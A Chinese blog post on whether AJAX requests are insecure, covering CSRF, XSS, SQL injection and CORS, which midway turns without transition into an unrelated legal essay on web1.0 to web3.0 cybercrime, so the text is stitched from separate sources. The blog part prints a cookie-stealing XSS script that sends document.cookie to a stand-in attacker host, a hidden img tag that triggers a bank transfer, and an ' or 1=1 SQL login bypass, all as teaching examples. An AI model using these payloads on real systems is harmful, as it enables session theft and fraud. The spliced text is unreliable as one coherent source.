者:撒网要见鱼
来源: cnblogs.com/dailc/p/8191150.html
开篇三问
前言
本文包含的内容较多,包括AJAX,CORS,XSS,CSRF等内容,要完整的看完并理解需要付出一定的时间。
另外,见解有限,如有描述不当之处,请帮忙及时指出。
正文开始...
从入坑前端开始,一直到现在,AJAX请求都是以极高的频率重复出现,也解决过不少AJAX中遇到的问题,如跨域调试,错误调试等等。
从这种,发现了一个共通现象:那就是每次和后台人员对接时,他们都会提到AJAX请求不安全,请用普通http请求!
虽然很多时候,都是经过多翻口舌之争后,最终后台那边妥协,允许部分符合条件的AJAX请求。但是,我却很纠结一个问题:AJAX请求真的不安全么?为什么我自己写后台时并没有发现这个问题?
于是,开始准备搜集资料,结合自己已有的认知,整理成一份解决方案,分析AJAX请求真的不安全么?哪里不安全?,后续遇到类似的问题就直接向对方抛出一篇文章
大纲
AJAX请求真的不安全么
首先,先说一个定论:AJAX请求是否安全,由服务端(后台)决定
有这样一个说法:如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的
为何会有这种说法?因为在Web应用中,客户端输入不可信是一个基本原则
AJAX不安全的说法从何而来?
在AJAX出现时,那时的服务端还是很古老的那一批,因此完全没有考虑到AJAX出现后,前端请求方式会变得异常复杂,造成以前的安全策略已经无法满足要求了,导致大批的后台安全漏洞曝光。。。
很显然,都是因为AJAX出现后曝光了更多的安全漏洞,导致它看起来很危险(因为AJAX出现后,请求方式变多了,以前的架构在新的请求中就可能出现更多漏洞)
So,AJAX不安全的说法自然扩散到了各个角落。
常见的几种Web前端安全问题
要知道AJAX请求是否安全,那么就得先知道Web前端中到底有那几种安全问题
采用cookie来进行用户校验登录受信任网站A,并在本地生成Cookie在不登出A的情况下,访问危险网站B
如上,Web前端中的安全问题主要就是这几大类(仅列举部分做分析),所以我们首先要分析AJAX与这几大类之间的关系。( XSS 和 CSRF,在下文也会做简单介绍。)
CSRF简介
CSRF,特征很简单:冒用用户身份,进行恶意操作
时至今日,这项安全漏洞已经被人们剖析的很透彻了,随便Google,百度之,都会找到很多的解释。这里也用一张图来先做简单描述:
(注,下面介绍参考了来源文章中的描述,譬如图就是参考了来源中的博文后重绘的)
所以,我们看到关键条件是:
采用cookie来进行用户校验登录受信任网站A,并在本地生成Cookie在不登出A的情况下,访问危险网站B
一般在 (4) 处 恶意网站(B) 的攻击手段如下(必须是指向 A 的地址,否则无法带上cookie):
而且,从头到尾,攻击网站都没有获取到过 cookie,都是通过浏览器间接实现(利用Web的cookie隐式身份验证机制),所以HttpOnly并不会影响这个攻击
最后说下,几种常见的CSRF防御手段:
1. 验证HTTP Referer字段(非常简单,但是鉴于客户端并不可信任,所以并不是很安全)
防止CSRF,检查Referer字段简单直接,但是其完全依赖浏览器发送正确的Referer字段。
虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,
亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。
2. 在请求地址中添加token并验证
(譬如post中,以参数的形式加入一个随机产生的token)
CSRF与AJAX的关系
上文中,我们看到CSRF的前提是cookie验证用户身份,那么它与AJAX的关系大么?
我们先分析AJAX中带cookie验证的情况:
1. AJAX受到浏览器的同源策略限制
2. AJAX默认无法请求跨域的接口
(当然后台可以配置`Access-Control-Allow-Origin: *`之类的允许所有的跨域请求)
3. AJAX请求无法携带跨域cookie
(如果强行开启withCredentials,必须服务端配合认证,无法用作攻击)
嗯哼...看到这,基本就可以认为CSRF与AJAX请求无缘了。。。
譬如假设上图中第4部分的请求由AJAX发起,假设网站A已经允许了Access-Control-Allow-Origin: *,由于网站B与网站A是不同域名,所以存在跨域,根据同源策略,请求时根本就无法携带cookie,故而无法通过身份认证,攻击失败。。。
就算强行开启withCredentials,携带跨域cookie,但是由于服务端并不会单独配置网站B的跨域cookie(需配置Access-Control-Allow-Credentials: true,而且这时候不允许设置Allow-Origin: *),所以肯定认证失败
可以看到,就算Access-Control-Allow-Origin: *允许所有来源的AJAX请求,跨域的cookie默认情况下仍然是无法携带的,无法CSRF
所以说,结论是:CSRF 与 AJAX 无关
XSS简介
既然CSRF与AJAX关系不大,那么XSS应该会与AJAX有很大关系吧?(要不然为什么一直说AJAX请求不安全,对吧。)。那么请继续看下去(本文中只限JS范畴)
XSS(cross-site scripting),看起来简写应该是css更合适。。。但是为了和层叠式样式表区分,就用XSS简写表示
XSS的特征也可以概括为:跨域脚本注入,攻击者通过某种方式将恶意代码注入到网页上,然后其他用户观看到被注入的页面内容后会受到特定攻击
相比CSRF,XSS囊括的内容更多,而且往往是多种攻击形式组合而成,这里以前文中介绍的几种为例:
1. cookie劫持
同样,页面中有一个评论输入,输入后会,因为后台的漏洞,没有过滤特殊字符,会直接明文保存到数据库中,然后展示到网页时直接展示明文数据,那么如下
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <form action="saveComment.jsp" method="post"> 请输入评论内容:<BR> <input name="content" type="text"> <input type="submit" value="确认"> </form>
然后攻击者分析后,输入
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>
保存文章。很简单的代码,由于没有过滤脚本,那么其它用户登陆后,在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的服务器。
攻击者可以在cookie(譬如jsessionid对应的session)有效期内拿它们冒充用户操作。
需要注意,这里和CSRF的区别是,这里是拿到了cookie后主动冒充用户的,而CSRF中根本就不知cookie,仅利用浏览器的隐式校验方式冒充用户。
2. 会话伪造
同样是评论漏洞的示例。
攻击者输入(举例比喻)
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
然后,接下来发生的故事就和CSRF中提到的一致。这种情况就是基于XSS而开展的CSRF,也有人喜欢称之为XSRF
需要注意,这里并没有自己拿到cookie,而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。
3. 其它恶意代码执行
其实上面的cookie劫持以及会话伪造都算是恶意代码执行,为了区别,这里就专指前端的流氓JS。
譬如前面的评论中的输入可以是:
这里再提一点,上述都是从前端输入作为入口的,但实际上有一类的输入也不可忽视,那就是:富文本攻击
它的特点就是: 富文本中注入了脚本,并且前后端未进行过滤,导致直接输出到了页面中
因为存在很多页面,都是将富文本内容展示到网页上的,没有进行过滤(哪怕时至今日,仍然有不少页面),这样只要富文本中有注入脚本,基本就中招了。。。
结论:
只要最终能向页面输出可执行的脚本语句,那么就是有漏洞,XSS攻击都有可能发生。
而且,基本上xss漏洞是很广泛的,虽然攻击类型很被动,也需要大量时间分析,但胜在大量的网站上都存在(特别是那种长期不更新的)
再提一点。上述的介绍更多的是从造成的后果来看,但其实如果从攻击手动来看的话可以分为几大类型:反射型XSS攻击(直接通过URL注入,而且很多浏览器都自带防御),存储型XSS攻击(存储到DB后读取时注入),还有一个DOM-Based型。
上述示例中都是存储型,具体更多内容网上已经有很详细的资料,这里不再继续深入,放一张图巩固下。
如何预防XSS:
XSS与AJAX的关系
以上分析了XSS造成一些影响与问题,仍然发现:与AJAX关系不大,因为这些问题不管用不用AJAX都会发生。
看看这种情况,譬如上述的富文本注入中:
1. 某个接口采用AJAX交互
2. AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML
但是,这真的与AJAX无关,这是前后端没有进行输入输出过滤而造成的后果。
所以,还是那句话:如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的
SQL注入简介
sql注入展开将也是一门很大的学问,很早以前更是大行其道(当然,现在...),这里仅仅举几个最极端的示例。
前提是后台没有过滤前端的输入数据,否则根本无法生效
假设页面A中有一个登陆查询存在拙劣的sql注入漏洞,这样子的:(最极端,最傻的情况)
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <form action="login.jsp" method="post"> 请输入用户名与密码:<BR> <input name="name" type="text"> <input name="password" type="text"> <input type="submit" value="登陆"> </form>
在接收到登陆请求后,服务端的实际执行代码时是:
String sql="SELECT * FROM users WHERE name='" + name + "' AND password='" + password + "'";
然而有攻击者分析出后台可能存在漏洞,尝试sql注入攻击,输入
name=' or 1=1 password=anything 那么这样,后台接收到数据后,实际上查询的结果是SELECT * FROM users WHERE name=' ' or 1=1 AND password='anything' 故而,攻击者成功的绕过的用户名,利用后台漏洞登陆了。
当然了,像这类这么低级的漏洞,现象几乎已经不存在了,往往这类型漏洞需要仔细分析,耗时。(又或者是有内奸。。。)
SQL注入与AJAX的关系
额,从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设:
1. 有一个接口,接收AJAX post的数据
2. 数据中有一个字段 'name',后台接收到后没有进行过滤,直接如上面的演示一样,执行sql语句了
3. 所以AJAX中如果给那个字段传入非法的注入信息,就会触发这个漏洞,导致攻击生效
对,就是这样极端的情况下才会发生,而且与AJAX并没有关系,因为换成任何一种其它请求都会有类似的情况。。。
所以说,结论是:SQL注入与AJAX无关
AJAX和HTTP请求的区别
从本质上将:AJAX就是浏览器发出的HTTP请求,只不过是浏览器加上了一个同源策略限制而已。
AJAX请求的XMLHTTPRequest对象就是浏览器开放给JS调用HTTP请求用的。
那么AJAX和HTTP的区别呢?列出以下几点:
但是,从最终发出的报文来看,内容都是一样的(HTTP协议规范的内容),AJAX是发送HTTP请求的一种方式
所以从这一点可以得出一个结论:AJAX本质上安全性和HTTP请求一样
CORS与AJAX安全性之间的关联
按照前文中提到的内容,基本无法得出AJAX与请求不安全的关联。那么接下来,再继续分析,如果使用了跨域资源共享(CORS)后的安全性。
(因为往往ajax都会伴随着CORS)
CORS与AJAX关系的简介
这是一个跨域共享方案,大致流程就是:(仅以复杂请求的预检举例-这一部分要求提前掌握CORS相关知识)
1. 前端AJAX请求前发出一个OPTIONS预检,会带一堆相关头部发送给服务端
2. 服务端在接受到预检时,检查头部,来源等信息是否合法,合法则接下来允许正常的请求,否则直接无情的拒绝掉
3. 浏览器端如果收到服务端拒绝的信息(响应头部检查),就抛出对应错误。否则就是正常的响应,接下来发出真正的请求(如POST)
请求和响应的头部信息大概如下:
Request Headers
// 在CORS中专门作为Origin信息供后端比对,表示来源域。 Origin: http://xxx Access-Control-Request-Headers: X-Requested-With // 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中,一般POST请求中就会带上 Access-Control-Request-Method: OPTIONS
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx
最终,客户端发出的请求,必须符合服务端的校验规则才能正确,服务端才会返回正确头部,否则只会请求失败。报跨域错误。
以上仅是简介,更多信息可以参考来源中的ajax跨域,这应该是最全的解决方案了
为什么要配置CORS?
因为同源策略限制,AJAX无法请求跨域资源,CORS可以解决AJAX跨域请求问题。
因此:在本文中,配置CORS只是为了AJAX能跨域请求
CORS会配置些什么信息?
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: http://xxx
如上,加上这个配置后,必须符合要求的才算是正常的请求,否则就会拒绝掉,一般AJAX跨域的话都会有OPTIONS,所以在预检中就做了这一步。
可以看到,关键的可变信息是:Access-Control-Allow-Origin: http://xxx
这个配置就是域名白名单,规定在什么样的域名下才能进行AJAX跨域请求。
CORS Origin: *的安全性
关键问题来了,在上面的CORS配置是这样的:
Access-Control-Allow-Origin: http://xxx
但是这个配置只允许特定域名访问,鉴于前端的复杂性,有时候调试起来不是很方便,因此有时候,会偷懒的设置为:
Access-Control-Allow-Origin: *
这个代表所有来源的跨域AJAX请求都能正常响应。
接下来我们再来分析设置 Origin: * 可能带来哪些问题。(都是基于AJAX的情况)
问题1:会对cookie认证造成影响么?
不会。虽然 * 代表了所有来源都能正常请求,但是同源策略下,是无法带上跨域cookie的。因此根本无法用身份验证。
而且,就算用 withCredentials 强行带上跨域cookie,因为后台没有支持,所以会报错。(这可以看成是CORSs模型的最后一道防线)
再者,后台就算配置 Access-Control-Allow-Credentials 允许跨域cookie,但是这时候的安全策略是 Origin 不允许为,必须是一个明确的地址。
(否则你就可以看到浏览器的报错信息-跨域cookie时,Origin不允许为)
问题2:如果伪造Origin头部呢?
首先,标准的浏览器中是不允许你伪造的(除非有严重漏洞),所以一般需要通过模拟客户端请求伪造。
但是。在非浏览器情况下,本来就没有同源策略。这又是何必。。。
所以说,伪造Origin与CORS并没有关系。
问题3:如果后台本来就存在漏洞呢?
做这样一个假设,假设用户所在网络的内网中有一台内网服务器,并且配置了允许所有的跨域请求:(当然,外网是请求不到内网的)
// 允许任何来自任意域的跨域请求 Access-Control-Allow-Origin: *
再假设内网服务器上恰巧存在敏感资源,并且没有额外设防,只要内网就能访问。譬如:
192.168.111.23/users.md
然后用户访问了恶意网页,而像HTML之类的网页都是下载到本地执行的,
正好网页内有恶意代码,去向 192.168.111.23/users.md 请求资源,再将接收到的服务端返回发送到攻击者服务器。
(因为加了Origin为*,而且AJAX是由本地浏览器发出的,所以用户下载到本地的恶意网站是可以访问到用户内网中的后台的)
然后这些敏感数据就这样被盗取了。
But,这是因为服务端漏洞而存在的问题,设置Origin为的后台上为何要放置敏感资源?正常设置为Origin为的最大作用是用作公共API。
而且更重要的是,为何敏感资源就这样轻易的被获取了?为什么没有二次验证?
SO,后台本身有漏洞,所以才导致被攻击,AJAX恰好是攻击的手段之一(除了AJAX外还会有其它的方式),所以很多锅都甩到了AJAX头上。
这样,可以得出一个保守点的结论:
Origin如果不是*,AJAX请求并不会有安全问题,如果是*,可能会由于后台的漏洞,不经意间,AJAX就被作为一种攻击手段了,导致了出现AJAX不安全的说法
再看,AJAX请求真的不安全么?
仍然是最初的结论:
如果某个Web应用具备良好的安全性,那么再怎么用“不安全的AJAX”也削弱不了它的安全性,反之如果应用本身存在漏洞,不管用何种技术请求,它都是不安全的
我们可以看到,XSS也好,CSRF也好,以及其它隐藏的可能漏洞也好,本质上都是后台已有漏洞造成的问题,AJAX最多是被用作一种攻击手段(甚至某些里面AJAX还无法使用)
提到AJAX请求不安全的,譬如有CORS里面配置Origin: *造成某些极端情况下能通过AJAX发出攻击。但事实上这也是其中的一种攻击手段而已,没有AJAX,该不安全的仍然不安全。
譬如还有的说法是:因为在AJAX出现以前,如果出现安全漏洞,容易被察觉,但AJAX是异步的,更容易隐式的出现安全问题。。。这也与安全性的本质无关。
最重要一点,从Web应用安全角度来谈,Web应用必须从不信任客户端。所以不要再把锅甩给AJAX。
AJAX请求哪里不安全?
同上,AJAX本身并不存在这种安全问题。
不过有一点需注意,如果使用了CORS方案。
1. Allow-Origin可以设置特定的值,过滤特定的白名单
2. 对于一些公共的API,可以直接将Allow-Origin设置为`*`
3. 当然,如果确认后台没有这些隐藏漏洞,可以直接使用`*`,毕竟也只是针对浏览器的同源策略而已,影响没有那么大。
怎么样让AJAX请求更安全?
仍然是文中反复提到的结论:
让Web后台更安全,则AJAX请求也更安全,反之后台有漏洞,不管怎么样都是不安全的
写在最后的话
这样的话,应该可以把AJAX不安全的锅甩掉了吧?
犯罪是刑法典与刑法学、犯罪学、刑事政策学的核心概念之一。互联网技术与社会科学的交叉研究中,“网络—学术用语”往往用来表示某一特定的正在被讨论的现代性主题。在传统的“犯罪”这一术语前插入“网络”就形成了一个新的法律概念——网络犯罪。一方面,网络犯罪作为一种有害行为,与交通犯罪、毒品犯罪、青少年犯罪、老年人犯罪等一样,是一个实证性、对策性的犯罪学或者刑事政策学概念。另一方面,网络犯罪概念的刑法学化是网络犯罪法教义学理论体系化的出发点。
犯罪是一种社会现象。“不同的社会中犯罪行为的流行形式也是不同的;不同社会的犯罪控制机构也有明显的不同。”[1]当下社会是科技时代,互联网成为生活的主要方式,甚至等同于生活本身。网络改变了生活,也改变了犯罪行为的形式。随着网络科技从web1.0到web2.0,再到web3.0的发展变化[2],网络犯罪相应经历了不同代际的迭代升级。网络时代犯罪行为的形式区别于传统社会犯罪形式,其对刑法适用提出诸多新的挑战。为此,应将网络犯罪根植于网络科技的代际变化之中,总结出各代际网络犯罪的特点及变化,推动刑法理论因应“科技时代传统刑法理论与新问题之间的关系”问题[3],促进网络犯罪研究的纵深化发展。
如同计算机犯罪的概念是伴随着计算机的出现而出现,网络犯罪的概念也是伴随着网络的出现而出现的。1969年10月,美国“因特网之父”莱昂纳德·克莱因罗克(Leonard Kleinrock)首次把加利福尼亚大学洛杉矶分校的一台电脑和一家研究机构的一台电脑连接起来,并让它们“交谈”,成为互联网的雏形。1983年TCP/IP协议成为全球互联网的标准协议时,计算机之间的连接(也即终端连接)才通行世界,全球性的终端连接真正开始。[4]1991年,我国建成第一条与国际互联网连接的专线。1994年,我国实现与国际互联网的全功能连接,开启了真正意义上的中国互联网时代。在国际与中国互联网发展的三十年左右的时间里,瑞达网络公司的创始人诺瓦·斯皮瓦克(Nova Spivack)以10年为一个周期,将网络发展的第一个十年(1990—2000)作为“信息单向发布的web1.0时代”,将第二个十年(2000—2010)视为“互动参与的web2.0时代”[5]。与之相适应,这两个时代的网络犯罪也呈现出相应的代际特征,而它们共有的代际特征是:物理性。
其一,web1.0时代网络犯罪的代际特征是物理性,具体是犯罪对象与犯罪方法上的物理性。在web1.0时代,人与网络的关系是单向传播的,即网站编辑信息发布给网民,网民只是单纯地被动接受网站发布的信息,和网站没有任何互动。网站就好比公告牌,只不过它是数据海量的电子公告牌,而且数据会不断提供更新。[6]网民与网络之间的关系类似于读报:网民是读者、接受者,电脑屏幕是“报纸”,上网不过是传统生活的网络延伸。在web1.0时代,网络是一种新事物,各大门户网站备受欢迎,新浪、搜狐、网易、腾讯等适时兴起,IE浏览器也是浏览网页的主要工具。网络以计算机为媒介,充当着“报纸”的作用,决定了此一阶段的网络犯罪只能是以网络或计算机为损坏对象,犯罪方法也呈现物理性特征。在web1.0时代常见的物理性破坏是针对计算机的安全系统。计算机系统包括各个系统运转的电网,还包括防火墙以及计算机内部内容。通过防火墙连接外面的世界就要借助基于TCP/IP协议开发出来的因特(Inter),但是因特需要通过局域网系统往外突破。若要获得计算机内部的资料、重要机密文件等内容,则需打开数据库。为了用户信息安全和计算机自身安全,就必须设置防火墙。防火墙是在“内部网与外部网之间实施安全防范”的系统,能够加强网络间访问控制,阻止未授权的外部网信息传输,保护内部网的安全,免受非法用户侵入。[7]而防火墙的防范并非万无一失,总有系统漏洞存在并被计算机犯罪高手运用。系统安全漏洞,也叫系统脆弱性,广义而言是导致损害、威胁计算机信息系统的因素。它是计算机系统在硬件、软件、协议的设计与实现过程中或系统安全策略上存在的缺陷和不足。非法用户可利用系统安全漏洞获得计算机系统的额外权限,在未经授权的情况下访问或提高其访问权,破坏系统,危害计算机系统安全。[8]因此,这一阶段网络犯罪的刑法适用主要涉及两个罪名,即《刑法》第285条规定的非法侵入计算机信息系统罪和第286条规定的破坏计算机信息系统罪。总之,在web1.0时代网络犯罪具有一些明显的犯罪特点:对象固化为物理性的介质即计算机和信息系统。此时的网络犯罪行为跟网络无关而是和计算机有关。犯罪方法主要为物理性方法,即强行地破坏信息系统或称之为强行攻陷,而非篡改软件数据。因此,这一阶段的网络犯罪在技术侦查与取证方面相对较为容易,案件定性也比较简单。然而,与此同时,立法滞后所导致的传统计算机犯罪罪名及处罚漏洞日益明显,口袋罪成为这个时代计算机犯罪适用的趋势。
其二,在web2.0时代网络犯罪的代际特征也是物理性,具体是犯罪工具上的物理性。在web2.0时代,人与网络的关系类似于开会,网民与网民、网站和网站之间可进行双向交流互动。[9]网络不再是简单的信息发布者,而是社交平台,人人网、维基网、天涯社区、博客、百合网等成为人与人之间沟通的重要平台,“就连一些垂直平台也融入了社交功能,淘宝的阿里旺旺就是一个很好的例证”[10]。网民不再是单纯从网络接收信息,而是网络进行互动,最终达到人与人之间的互动。所以在web2.0时代以往人和机器之间互动的基础上,发展出了人和人之间的具有即时性、便捷性的双向互动,类似于不同人在一个会场开会。人们上网,不再是简单地将传统生活延伸到网络,而是通过时时互动和交流,使传统生活在网络上发展为新的形态,如天涯社区、QQ的个人空间等成为网民保留自己隐私的重要方式,从而取代传统社会保留隐私的方法。与web2.0时代相适应,此一阶段的网络犯罪呈现出传统犯罪的网络异化。于是立法上“重点增加利用网络作为犯罪工具的规定,加强网络作为犯罪对象的规定,逐步摒弃计算机犯罪的陈旧立法观念,逐步推动网络立法理念的代际变革”[11]。网络由此成为传统犯罪物理性的犯罪工具或者说媒介。也因此,web2.0时代网络犯罪的代际特征也为物理性,只不过是以网络作为犯罪工具意义上的物理性。在web2.0时代的早期阶段“在即时通信和社区网络服务系统中还没有合适的方式或方法能够用来在好友或组/成员间共享计算机或其他智能设备的CPU、内存、磁盘、应用软件及其他资源或能力”[12],用户更倾向于利用计算机现有资源或能力,在一定程度上缺少“他有我无”的这种共享机制。因此,在这一阶段,计算机系统仍然受到网络攻击的威胁,并且威胁网络安全的原因来自多方面。计算机系统可能会受到非法入侵者的攻击,各类数据可能遭到泄露或者进行非法交易,“从内部网向共网传送的信息可能被他人窃听或篡改”等。[13]不同于在web1.0时代由各门户网站平台主导内容生成,在web2.0时代出现由用户主导内容生成的互联网产品模式,而这一模式主要是采用了AJAX应用技术,“借助AJAX可以将笨拙的Web界面转化成强交互性的AJAX应用程序”[14]。传统的网络应用采用同步交互过程:用户向HTTP服务器发出请求,服务器接收请求后向用户返回一个HTML页面。[15]在这个过程中,用户等待时间较长,交互体验比较不理想。相比较而言,在web2.0时代,强调服务器与客户端的交互过程,服务器能够较为迅速地响应用户需求,并减少等待时间,糟糕的用户体验得到较大改变。此外,二者的核心区别在于从“外部应用”到“核心内容”的变化,用户从简单地浏览、搜索获取信息发展成网络平台的交互行为,网络内容的建立者也由计算机专业人员转向全部用户。[16]Web2.0时代的网络平台特征,决定了这一时期的网络犯罪基本上都是利用web2.0时代交互的及时性,使用网络平台作为犯罪工具的。此一时期各类利用网络作为物理性工具的犯罪飞速增加。[17]
其三,随着web2.0时代的快速发展,刑法中几乎所有的犯罪都出现了网络化,几乎所有的传统犯罪都可以利用网络实施,网络作为犯罪工具的物理属性被放大到极致。颜某凡盗窃案是web2.0时代利用网络作为犯罪工具的常见类型。[18]该案被告人利用网络公司的系统漏洞骗取被害人网络游戏账号安全码,非法进入被害人账号,窃取被害人在网络游戏中的虚拟装备并出售给他人获利。在同一时期,类似案件大量发生。在这些案件中,作为web1.0时代网络犯罪主要特征的对象物理性退居其后,行为人犯罪的对象是游戏装备等虚拟财产,而不再是物理性的计算机及信息系统。作为物理性的客体而存在的计算机及信息系统仍然完好,被侵犯的只是虚拟性的财产。但是,行为人的作案工具却是真实存在的物理性网络,借助网络系统,行为人才得以登录他人账号并实施犯罪。在此,行为人实施的是传统盗窃犯罪,只不过利用了网络作为犯罪工具。这充分体现了web2.0时代的网络犯罪以网络作为犯罪工具的物理性代际特征。在整个web2.0时代,网络犯罪主要是以网络作为犯罪工具来实施传统犯罪。传统杀人、抢劫、绑架、盗窃、诈骗等犯罪经历了网络异化,侵财犯罪爆发性增长,帮助犯地位凸显。与之相适应,2000年12月28日全国人大常委会通过《关于维护互联网安全的决定》,对这一时期将网络作为犯罪工具而实施犯罪的问题作了解释,从而使利用网络实施传统犯罪如何适用刑法问题得到了解决。在web2.0时代网络之所以成为实施传统犯罪的工具,出现传统犯罪的网络异化与大爆发,是因为“web2.0时代要求为用户提供的服务具备体验性(Experience)、沟通性(Communicate)、差异性(Variation)、创造性(Creativity)和关联性(Re-lation)”[19],而社交媒体的爆发和人们通过网络实现的人和人之间的时时互动,使利用网络实施犯罪极为便捷。
总之,web1.0时代的网络犯罪是以计算机及其系统为物理性对象采物理性方法而实施;web2.0时代的网络犯罪是以网络作为物理性犯罪工具,并出现以侵财案件为主的传统犯罪的网络异化。无论是物理性对象还是物理性工具,web1.0与web2.0时代的网络犯罪的共有特性都是物理性。该阶段的网络安全治理,主要针对的是计算机及其系统的安全保护。
Web3.0是在web2.0的基础上发展起来的,它能够满足网民对生命深度体验的心理需求,更好地体现网民的劳动价值,并且能够实现价值均衡分配。[20]伦斯勒理工学院副教授吉姆·亨德勒(Jim Hendler)将2008年确定为web3.0时代的开端。[21]同时,斯皮瓦克认为,web3.0是“网络发展的第三个10年,即2010年至2020年”,它“就是将统计学、语言学、开放数据、计算机智能、集体智慧和用户在网上生成的内容全部集合到一起”[22]。当我们有了移动终端的时候,就全面步入了万物互联时代,也就是web3.0时代。目前,中国的手机网民规模达8.97亿,网民中使用手机上网的比例由2018年年底的98.6%提升至2020年3月的99.3%,手机上网已成为网民最常用的上网渠道之一。[23]这意味着,web3.0时代是全方位互动的时代。web3.0时代的特征是个性化、互动性和精准的应用服务。用户的应用体验与分享,对于网站流量和产品营销具有决定性作用。[24]网民和网络之间在衣食住行等各个层面全方位紧密结合,以个人终端(手机)为中心点,由此出发,与整个网络世界进行信息互动。网络对用户了如指掌,替用户进行资源筛选、智能匹配,直接给用户答案。在web3.0时代上网既不是web1.0时代时传统生活在网络的简单延伸,也不是web2.0时代时传统生活在网上的异化,而是在传统物理的社会空间之外,多出一个网络的社会空间,人们在网络空间中全方位量身定制想要的生活:web1.0时代的“读报纸”到web2.0时代的“开会”,终于发展到了web3.0时代的“私人定制”。在这个时代,不再是人找信息而是信息找人。[25]智能性成为这个时代的典型特性。
一方面,web3.0时代的网络是虚拟的社会空间,也是犯罪空间。在万物互联的3.0时代,网络社会空间作为独立于物理社会空间的存在,也被犯罪人充分利用,言论犯罪、传播淫秽物品犯罪等以网络作为空间的犯罪盛行。此外,非法经营罪等以网络为经营场所的罪名同样高发。传统犯罪场所从物理空间转移到了网络空间。比如,王某开设赌博网站案中,王某与他人合伙在网络上开设某互联网赌博网站,并雇用他人利用微信等移动通讯终端招揽众多赌徒向该网站投注,进行彩票网络投注赌博活动。[26]本案中王某行为的发生地点即为网络空间而非物理世界的某个场馆。再有最高人民法院第20批指导性案例105号洪某某、李某某等开设赌场案等。[27]这些案例所涉及的都是利用网络空间而实施的犯罪行为。同时,在web3.0时代作为独立空间的网络空间中,各种资源应有尽有,网民既是网络世界的受众,又是网络世界的主宰。网民对网络的参与重在体验在整个网络世界生存、生长、生活的感觉。这也是为什么现在的很多软件都是免费的:电脑一开机,软件就会自动启动,软件拥有者依靠发布广告、做代理获得利润。这也是web3.0时代流量经济的产物。也因此,流量劫持、域名盗窃、深度链接等新型网络空间违法犯罪行为层出不穷。比如张某等人诈骗案中[28],张某通过互联网购买了一个网络游戏装备交易平台程序,并对该程序进行修改,再通过互联网向域名提供者和网站空间提供者分别购买域名使用权和网络空间使用权,将修改后的网络游戏装备交易平台程序上传到他人购买的网上虚拟空间运行发布,诱骗玩家到其网络游戏交易平台中注册充值购买游戏装备,并通过第三方支付平台、网上银行转账等方式骗取钱财。由此可见,在web3.0时代,传统犯罪已经进入网络空间实施。传统犯罪既可以在物理空间实施,又可以在网络空间实施,现代社会正式步入双层社会时代。
另一方面,web3.0时代的网络犯罪是以人工智能和大数据为特征的智能化网络科技犯罪。Web3.0时代的特征就是人工智能、关联数据和语义网的构建。[29]“智能时代是由大数据与人工智能等技术驱动发展的时代”[30],通过搜索引擎对大数据的优化搜索,形成人和网络、人与人之间的沟通。人工智能则是通过人来训练机器,使机器不断实现人的智慧,实现机器自己学习、迭代、发展。关联数据,是指数据网络上以结构化形式存在的数据集合体。它们能够为语义化网络所管理。语义网,是一种智能网络,它不但能够理解词语和概念,而且还能够理解它们之间的逻辑关系,可以使交流变得更有效率和价值。语义网的构建是通过人工智能识别数据,实现人和人之间沟通的便利性。[31]通过人工智能、关联数据和语义网,智能型平台海量收集大数据,并通过开发人工智能应用平台,使机器自动学习,帮助犯罪行为人精准实施犯罪,犯罪行为的实施已超脱人工阶段。在web3.0时代“物联网依托多种信息获取技术,包括传感器、射频识别(Radio Frequency Identifica-tion,RFI)、二维码、多媒体采集技术等,其关键技术环节可以归纳为感知、传输、处理,数据处理和融合贯穿于物联网采集、控制、传输和上层应用的全过程”[32]。比如全国首例AI犯罪中,以黄某为首的团伙先非法获取网站后台用户数据,再将数据卖给下线。然后以吴某为代表的制作撞库软件团伙,通过“快啊”平台软件验证所盗来的账号、密码是否匹配。该团伙将成功匹配的账号、密码贩卖给其他网络诈骗团伙,对方再利用获取的账号实施各类网络诈骗和非法推广等违法活动。[33]本案中,“快啊”具有深度学习的功能,效率和准确率远超过人工方式。基于“智能搜索、个人化空间和用户兴趣模型”的web3.0时代,具有“信息的聚合以及提供个性化的信息服务”功能,能够通过人工智能学习和数据挖掘等新技术手段,提炼出用户个性化的信息聚合,使人机交互、人人交互更具有人类特征和个性特征。[34]智能化的结果是,在web3.0时代的网络日益向网民提供个性化、精准性应用服务的同时,网络平台的犯罪参与度也大为提高,网络犯罪的追责重点似乎发生了转移。
总之,与web3.0时代相适应,此一阶段的网络犯罪主要发生在网络空间领域,且是以人工智能和大数据为特征的智能化网络科技犯罪,同时各种新型犯罪层出不穷。如何对它们进行准确定性并精准地实现web3.0时代的刑法规制,在理论上和实务中均面临着巨大挑战。
“十四五”时期,我国将大力实施网络强国战略。这是技术升级带来的治理转型的必然选择。然而,我国互联网发展已进入重要的战略机遇期,面临日益严峻的风险隐患与不断叠加的多重矛盾。这具体表现在网络安全受到全面挑战、网络经济创新缺乏激励、网络信息权受到侵犯以及网络言论亟待规范。若不合理化解上述隐患与矛盾,互联网强国战略的实现将严重受制约。
